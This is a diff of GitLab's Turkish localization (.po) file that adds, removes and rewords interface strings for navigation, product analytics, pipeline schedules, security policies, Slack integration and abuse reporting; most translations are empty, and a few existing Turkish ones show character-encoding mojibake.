+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Yardım"
@@ -27201,9 +27542,6 @@ msgstr "Yeni dağıtım anahtarı"
msgid "New directory"
msgstr "Yeni dizin"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Eki"
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr "Üzgünüz, filtreniz sonuç vermedi"
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr "Ãœst epik yok."
-
-msgid "Parent epic is not present."
-msgstr "Ãœst epik mevcut deÄŸil."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Tümü"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Etkin deÄŸil"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Bu iş hattı için kısa bir açıklama girin"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Bir projenin genel bakış sayfasında hangi içeriği görmek istediğinizi seçin."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr "Düzen genişliği"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "%{min} ile %{max} arasında bir sayı olmalıdır"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr "Sözdizimi vurgu teması"
msgid "Preferences|Tab width"
msgstr "Sekme geniÅŸliÄŸi"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr "Bu ayar, sistem düzeni ve varsayılan görünümlerin davranışını Ã
msgid "Preferences|Time preferences"
msgstr "Zaman tercihleri"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "Göreceli zamanları kullan"
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr "Özel profil"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Asla"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "Çatalla"
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Bu ayarı değiştirmek için bir yöneticiye başvurun."
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Bu depoya yalnızca imzalanmış işlemler yollanabilir."
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} geliştiriciler için yazılabilir olacak. Emin misiniz?"
@@ -33475,6 +34071,9 @@ msgstr "Dağıtıma izin verildi"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "%{reportedBy} tarafından %{timeAgo} bildirildi"
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr "Proje ara"
msgid "Search projects"
msgstr "Projeleri ara"
-msgid "Search projects..."
-msgstr "Projeleri ara..."
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "Bu değişiklikler ile bir %{new_merge_request} başlatın"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr "Ä°nceleme baÅŸlat"
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr "Kullanım sayımı günde bir kez 12:00 ÖS yapılır."
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "Uçbirim"
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "Çatal ilişkisi kaldırıldı."
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
